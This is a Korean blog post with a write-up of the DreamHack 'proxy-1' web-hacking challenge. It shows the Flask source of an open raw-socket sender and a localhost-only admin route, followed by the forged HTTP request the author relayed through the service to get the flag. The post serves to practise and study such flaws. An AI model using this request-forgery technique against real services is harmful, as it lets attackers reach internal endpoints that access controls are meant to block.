Notice
Recent Posts
Recent Comments
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- 보안뉴스 요약
- 보안뉴스한줄요약
- 깃허브
- 다크웹
- 자바스크립트 element api
- numpy
- 자바스크립트 node
- 자바스크립트 객체
- 자바스크립트 prototype
- oracle db
- javascript
- 자바스크립트 jQuery
- 자바스크립트 API
- 보안뉴스 한줄요약
- 랜섬웨어
- 자바스크립트
- ES6
- 오라클
- 파이썬
- 자바스크립트 기본 문법
- 카카오프로젝트100
- GIT
- python
- php
- 카카오프로젝트 100
- oracle
- 보안뉴스
- 카카오프로젝트
- 보안뉴스요약
- Oracle SQL
Archives
- Today
- Total
FU11M00N
[ DreamHack ] proxy-1 본문
- 문제 정보
Raw Socket Sender가 구현된 서비스입니다.
요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
POST /admin HTTP/1.1 -
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Content-Type: application/x-www-form-urlencoded
cookie:admin=true
Content-Length: 12
userid=admin
request 값을 보낼때 소스코드의 조건과 일치하게하여 보내면 clear
이 문제 또한 시간이 많이 소요됨.
이런 스타일의 문제를 처음접해봄.. -> 아직 엄청나게 초보인것.
또한 마지막에 userid=admin 이것을 11로 세어서 Content-Length: 11로 계속 보냈는데 다시세보니 12였다.. 이거때문에 몇 시간 날림
'Web Hacking > DreamHack' 카테고리의 다른 글
[ DreamHack ] simple-ssti (0) | 2021.03.28 |
---|---|
[ DreamHack ] csrf-1 (0) | 2021.03.28 |
[ DreamHack ] image-storage (0) | 2021.03.28 |
[ DreamHack ] file-download-1 (0) | 2021.03.28 |
[ DreamHack ] xss-1 (0) | 2021.03.28 |
Comments